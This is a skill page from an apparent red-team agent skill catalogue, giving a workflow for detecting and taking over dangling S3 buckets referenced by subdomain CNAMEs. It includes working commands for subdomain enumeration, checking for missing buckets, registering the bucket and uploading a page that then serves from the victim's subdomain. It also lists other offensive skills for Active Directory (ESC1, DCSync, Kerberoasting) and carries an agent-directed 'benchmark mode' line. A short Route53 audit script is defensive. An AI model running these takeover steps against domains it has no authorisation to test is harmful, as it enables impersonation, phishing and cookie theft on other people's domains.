s3-takeover
Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
メニュー
Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.
Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
BloodHound ingestion + canonical Cypher queries for AD attack-path enumeration. Run after collector dumps zip; promotes findings into the knowledge graph.
NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
Active Directory attack lane — BloodHound ingestion, Kerberoasting, ADCS ESC scanning, DCSync, LAPS extraction.
Red team engagement lifecycle management — initiation, phase transitions, go/no-go gates, deconfliction, emergency procedures, completion.
| name | s3-takeover |
| description | Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists). |
| metadata | {"subdomain":"cloud","when_to_use":"s3 bucket takeover dangling cname"} |
When a subdomain has a CNAME to an S3 hostname (e.g.
assets.example.com → assets-example.s3.amazonaws.com) but the bucket
no longer exists, anyone can register that bucket name and serve
content from the subdomain.
From recon SUMMARY.md, look for any CNAME containing:
s3.amazonaws.coms3-website-<region>.amazonaws.coms3.<region>.amazonaws.coms3-website.<region>.amazonaws.com<bucket>.s3.<region>.amazonaws.com.cloudfront.net)Or run direct:
# Subdomain dump
subfinder -d example.com -silent > /tmp/subs.txt
# Check CNAMEs
for s in $(cat /tmp/subs.txt); do
cname=$(dig +short CNAME "$s" 2>/dev/null | head -1)
if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then
echo "$s -> $cname"
fi
done > /tmp/s3-candidates.txt
For each candidate:
# Try to GET the subdomain - look for the S3 "NoSuchBucket" error
curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n'
grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html
# Or query the bucket name directly
BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}')
aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1
# "NoSuchBucket" / "The specified bucket does not exist" = dangling
Atlas helper:
s3_takeover_check("<subdomain>")
# In the SAME region the CNAME implies
aws s3api create-bucket \
--bucket "$BUCKET" \
--region us-east-1 \
--create-bucket-configuration LocationConstraint=us-east-1
# (us-east-1 omits the LocationConstraint)
Race conditions:
Static page proof (engagement context — get explicit permission first):
echo '<h1>S3 subdomain takeover PoC</h1><p>Demonstrated by ENGAGEMENT-ID</p>' > /tmp/index.html
aws s3 cp /tmp/index.html "s3://$BUCKET/index.html"
aws s3 website "s3://$BUCKET/" --index-document index.html
# Now curl https://$SUBDOMAIN/ returns your content
DO NOT:
DO:
aws s3 rb "s3://$BUCKET" --forceA claimed S3 bucket on an org subdomain gives:
.example.com)kg_add_node(kind="vulnerability", label="S3 takeover: <subdomain>",
props={"severity":"high","bucket":"<bucket>","region":"<region>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:org-domain>, kind="grants-impersonation")
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 8.7CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N = 7.5# Find every S3 CNAME the org publishes
aws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \
xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \
--query 'ResourceRecordSets[?Type==`CNAME`]' --output json > /tmp/cnames.json
# Cross-check against existing buckets
jq -r '.[] | select(.ResourceRecords[].Value | test("s3.*amazonaws")) | .Name' /tmp/cnames.json | \
while read sd; do
bucket=$(dig +short CNAME "$sd" | head -1 | sed 's/.s3.*//; s/.$//')
aws s3api head-bucket --bucket "$bucket" 2>&1 | grep -q "Not Found" && echo "DANGLING: $sd -> $bucket"
done